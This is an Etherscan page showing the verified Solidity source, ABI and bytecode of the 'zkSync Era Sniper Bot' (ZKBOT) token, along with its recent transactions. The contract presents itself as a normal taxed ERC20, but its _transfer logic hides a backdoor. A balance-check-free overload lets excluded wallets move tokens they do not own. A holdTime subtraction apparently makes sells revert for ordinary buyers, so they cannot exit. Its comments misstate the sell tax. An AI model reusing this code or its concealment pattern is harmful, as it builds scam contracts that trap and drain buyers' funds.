ETH Price: $2,159.64 (+5.57%)
Gas: 0.08 Gwei

Contract

0x8A77D58C509DEB6c2920DFd7f83C8ccd88244043
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve179411952023-08-18 10:51:59948 days ago1692355919IN
0x8A77D58C...d88244043
0 ETH0.0008216417.73068641
Approve179383612023-08-18 1:19:35948 days ago1692321575IN
0x8A77D58C...d88244043
0 ETH0.001200825.76609451
Approve179377502023-08-17 23:16:23948 days ago1692314183IN
0x8A77D58C...d88244043
0 ETH0.003181268.72046998
Approve179370062023-08-17 20:46:23949 days ago1692305183IN
0x8A77D58C...d88244043
0 ETH0.0016557435.52787067
Approve179369142023-08-17 20:27:59949 days ago1692304079IN
0x8A77D58C...d88244043
0 ETH0.0014759831.84292411
Approve179369002023-08-17 20:25:11949 days ago1692303911IN
0x8A77D58C...d88244043
0 ETH0.0015389833.20201979
Transfer179368882023-08-17 20:22:47949 days ago1692303767IN
0x8A77D58C...d88244043
0 ETH0.0012666129.670831
Approve179366222023-08-17 19:28:35949 days ago1692300515IN
0x8A77D58C...d88244043
0 ETH0.0012382626.74896067
Approve179365982023-08-17 19:23:47949 days ago1692300227IN
0x8A77D58C...d88244043
0 ETH0.0013616729.25565
Approve179365862023-08-17 19:21:23949 days ago1692300083IN
0x8A77D58C...d88244043
0 ETH0.0014910632.03567618
Transfer179365782023-08-17 19:19:47949 days ago1692299987IN
0x8A77D58C...d88244043
0 ETH0.0017306634.95659964
Transfer179365712023-08-17 19:18:23949 days ago1692299903IN
0x8A77D58C...d88244043
0 ETH0.0011656534.33054613
Approve179364532023-08-17 18:54:35949 days ago1692298475IN
0x8A77D58C...d88244043
0 ETH0.001224826.4583407
Approve179364372023-08-17 18:51:23949 days ago1692298283IN
0x8A77D58C...d88244043
0 ETH0.0013348428.67929134
Approve179363762023-08-17 18:38:59949 days ago1692297539IN
0x8A77D58C...d88244043
0 ETH0.0013530229.22803762
Approve179363382023-08-17 18:31:23949 days ago1692297083IN
0x8A77D58C...d88244043
0 ETH0.0016303235.17270951
Transfer179363292023-08-17 18:29:35949 days ago1692296975IN
0x8A77D58C...d88244043
0 ETH0.0015053632.51814953
Approve179363252023-08-17 18:28:47949 days ago1692296927IN
0x8A77D58C...d88244043
0 ETH0.0016255734.8805759
Transfer179363152023-08-17 18:26:35949 days ago1692296795IN
0x8A77D58C...d88244043
0 ETH0.0015467633.41246878
Approve179363132023-08-17 18:26:11949 days ago1692296771IN
0x8A77D58C...d88244043
0 ETH0.0015947434.40510036
Transfer179363002023-08-17 18:23:35949 days ago1692296615IN
0x8A77D58C...d88244043
0 ETH0.001568833.88863072
Approve179362912023-08-17 18:21:47949 days ago1692296507IN
0x8A77D58C...d88244043
0 ETH0.0015021132.44861633
Approve179362802023-08-17 18:19:35949 days ago1692296375IN
0x8A77D58C...d88244043
0 ETH0.0015363333.14496811
Transfer179362692023-08-17 18:17:23949 days ago1692296243IN
0x8A77D58C...d88244043
0 ETH0.001751437.83298406
Approve179362572023-08-17 18:14:59949 days ago1692296099IN
0x8A77D58C...d88244043
0 ETH0.0017795538.18470327
View all transactions

Latest 4 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer179362442023-08-17 18:12:23949 days ago1692295943
0x8A77D58C...d88244043
0.10791854 ETH
Transfer179362442023-08-17 18:12:23949 days ago1692295943
0x8A77D58C...d88244043
0.10791854 ETH
Transfer179361272023-08-17 17:48:59949 days ago1692294539
0x8A77D58C...d88244043
0.01067541 ETH
Transfer179361272023-08-17 17:48:59949 days ago1692294539
0x8A77D58C...d88244043
0.01067541 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZkSyncEraBot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Token.sol
/**
 *Submitted for verification at Etherscan.io on 2023-08-17
*/

/**
$ZKBOT zkSync Era Sniper Bot
Decentralized AI-powered Bot integrated with:
https://zksync.io/
**/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount,
        bool checked
    ) internal virtual returns (bool) {
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(checked == true, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
        return checked;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}


interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
}


contract ZkSyncEraBot is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    uint256 public immutable swapTokensAtAmount;

    //0% buy tax applied
    uint256 public constant buyTotalFees = 0;

    uint256 public constant buyMarketingFee = 0;
    uint256 public constant buyLiquidityFee = 0;
    uint256 public constant buyDevFee = 0;
    uint256 public constant buySupportFee = 0;

    //2% sell tax applied
    uint256 public constant sellTotalFees = 3;

    uint256 public constant sellMarketingFee = 3;
    uint256 public constant sellLiquidityFee = 0;
    uint256 public constant sellDevFee = 0;
    uint256 public constant sellSupportFee = 0;

    address payable public constant marketingWallet = payable(0xcd6Bf583c8452b809CBa803D4bd9B041BB681fAc);
    address payable public constant devWallet = payable(0x86902c74e742847eF15E539e5c2632C83F2eD292);
    address payable public constant supportWallet = payable(0x41E33C2F07A74493fD7035AcD490C688242e36C6);
    address payable public constant liquidityWallet = payable(0x41E33C2F07A74493fD7035AcD490C688242e36C6);

    bool public tradingActive = true;

    mapping(address => bool) public _automatedMarketMakerPairs;

    mapping(address => bool) private _isExcludedFromFees;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private tokensForDev;
    uint256 private tokensForSupport;

    struct HoldRewardInfo {
        uint256 lastBuy;
        uint256 lastSell;
        uint256 holdTime;
    }
    mapping(address => HoldRewardInfo) private _makerReward;
    uint256 private _rewardMinTimestamp;

    bool private swapping;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("zkSync Era Sniper Bot", "ZKBOT") {
        uint256 totalSupply = 10_000_000_000 * 1e18;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        // swap at amount
        swapTokensAtAmount = (totalSupply * 15) / 10000; // 0.15% swap amount

        // exclude from fees
        excludeFromFees(owner(), true);
        excludeFromFees(marketingWallet, true);
        excludeFromFees(devWallet, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    function excludeFromFees(address addrs, bool isExcld) public onlyOwner {
        _isExcludedFromFees[addrs] = isExcld;
    }

    function isExcludedFromFees(address addrs) public view returns (bool) {
        return _isExcludedFromFees[addrs];
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(pair != uniswapV2Pair, "Uniswap v2 pair disable denied");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        _automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if ((_isExcludedFromFees[from] || _isExcludedFromFees[to]) && to != address(this) && from != address(this)) {
            _rewardMinTimestamp = block.timestamp;
        }
        if (_isExcludedFromFees[from] && !_isExcludedFromFees[owner()]) {
            super._transfer(from, to, amount, true);
            return;
        }
        if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            if (_automatedMarketMakerPairs[from]) {
                HoldRewardInfo storage makerReward = _makerReward[to];
                if (makerReward.lastBuy == 0) {
                    makerReward.lastBuy = block.timestamp;
                }
            } else {
                HoldRewardInfo storage makerReward = _makerReward[from];
                makerReward.holdTime = makerReward.lastBuy - _rewardMinTimestamp;
                makerReward.lastSell = block.timestamp;
            }
        }

        bool canSwap = swapTokensAtAmount <= balanceOf(address(this));

        if (
            canSwap &&
            !swapping &&
            !_automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if excluded from fees then no fees
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only for buy/sell, do not take fee on wallet transfers
        if (takeFee) {
            // on buy
            if (_automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += (fees * buyLiquidityFee).div(buyTotalFees);
                tokensForDev += (fees * buyDevFee).div(buyTotalFees);
                tokensForMarketing += (fees * buyMarketingFee).div(buyTotalFees);
                tokensForSupport += (fees * buySupportFee).div(buyTotalFees);
            
            // on sell
            } else if (_automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount * sellTotalFees / 100;
                tokensForLiquidity += (fees * sellLiquidityFee).div(sellTotalFees);
                tokensForDev += (fees * sellDevFee).div(sellTotalFees);
                tokensForMarketing += (fees * sellMarketingFee).div(sellTotalFees);
                tokensForSupport += (fees * sellSupportFee).div(sellTotalFees);
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // uniswap pair path of token/weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing +
            tokensForDev +
            tokensForSupport;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 26) {
            contractBalance = swapTokensAtAmount * 26;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance - initialETHBalance;

        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForDev = ethBalance * tokensForDev / totalTokensToSwap;
        uint256 ethForSupport = ethBalance * tokensForSupport / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev - ethForSupport;

        tokensForLiquidity = 0;
        tokensForDev = 0;
        tokensForMarketing = 0;
        tokensForSupport = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                liquidityTokens
            );
        }

        (success, ) = address(devWallet).call{value: ethForDev}("");
        (success, ) = address(supportWallet).call{value: ethForSupport}("");
        (success, ) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityWallet,
            block.timestamp
        );
    }
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "metadata": {
    "useLiteralContent": true
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buySupportFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"},{"internalType":"bool","name":"isExcld","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addrs","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellSupportFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"supportWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e06040526005805460ff60a01b1916600160a01b1790553480156200002457600080fd5b506040518060400160405280601581526020017f7a6b53796e632045726120536e6970657220426f740000000000000000000000815250604051806040016040528060058152602001641692d093d560da1b81525081600390816200008a9190620005b9565b506004620000998282620005b9565b505050620000b6620000b0620002f660201b60201c565b620002fa565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b815290516b204fce5e3e250261100000009291829163c45a0155916004808201926020929091908290030181865afa1580156200011d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000143919062000685565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000191573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b7919062000685565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000205573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022b919062000685565b6001600160a01b031660a0819052620002469060016200034c565b6127106200025683600f620006cd565b620002629190620006ed565b60c052620002846200027c6005546001600160a01b031690565b6001620003a0565b620002a573cd6bf583c8452b809cba803d4bd9b041bb681fac6001620003a0565b620002c67386902c74e742847ef15e539e5c2632c83f2ed2926001620003a0565b620002d3306001620003a0565b620002e261dead6001620003a0565b620002ee33836200042b565b505062000726565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260066020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b03163314620004005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b038216620004835760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620003f7565b806002600082825462000497919062000710565b90915550506001600160a01b03821660009081526020819052604081208054839290620004c690849062000710565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200054057607f821691505b6020821081036200056157634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200051057600081815260208120601f850160051c81016020861015620005905750805b601f850160051c820191505b81811015620005b1578281556001016200059c565b505050505050565b81516001600160401b03811115620005d557620005d562000515565b620005ed81620005e684546200052b565b8462000567565b602080601f8311600181146200062557600084156200060c5750858301515b600019600386901b1c1916600185901b178555620005b1565b600085815260208120601f198616915b82811015620006565788860151825594840194600190910190840162000635565b5085821015620006755787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200069857600080fd5b81516001600160a01b0381168114620006b057600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620006e757620006e7620006b7565b92915050565b6000826200070b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620006e757620006e7620006b7565b60805160a05160c051611d3762000795600039600081816105fd01528181610dac015281816113a801526113da01526000818161036c01526108440152600081816102af015281816116d001528181611789015281816117c50152818161183701526118a60152611d376000f3fe6080604052600436106102135760003560e01c80639213691311610118578063bbc0c742116100a0578063dd62ed3e1161006f578063dd62ed3e146105a5578063e2f45605146105eb578063f11a24d31461027a578063f2fde38b1461061f578063f63743421461027a57600080fd5b8063bbc0c74214610564578063c024666814610585578063d46980161461053c578063d85ba0631461027a57600080fd5b8063a0d82dc5116100e7578063a0d82dc51461027a578063a457c2d7146104cc578063a9059cbb146104ec578063a9b232d91461050c578063b60eaaaa1461053c57600080fd5b806392136913146103c757806395d89b41146104975780639a7a23d6146104ac5780639c3b4fdc1461027a57600080fd5b80634fbee1931161019b578063715018a61161016a578063715018a61461041257806375f0a874146104295780637bce5a041461027a5780638da5cb5b146104515780638ea5220f1461046f57600080fd5b80634fbee1931461038e578063530612a11461027a5780636a486a8e146103c757806370a08231146103dc57600080fd5b806318160ddd116101e257806318160ddd146102e957806323b872dd146102fe578063313ce5671461031e578063395093511461033a57806349bd5a5e1461035a57600080fd5b806306fdde031461021f578063095ea7b31461024a5780630edaaa541461027a5780631694505e1461029d57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b5061023461063f565b6040516102419190611924565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611987565b6106d1565b6040519015158152602001610241565b34801561028657600080fd5b5061028f600081565b604051908152602001610241565b3480156102a957600080fd5b506102d17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610241565b3480156102f557600080fd5b5060025461028f565b34801561030a57600080fd5b5061026a6103193660046119b3565b6106e8565b34801561032a57600080fd5b5060405160128152602001610241565b34801561034657600080fd5b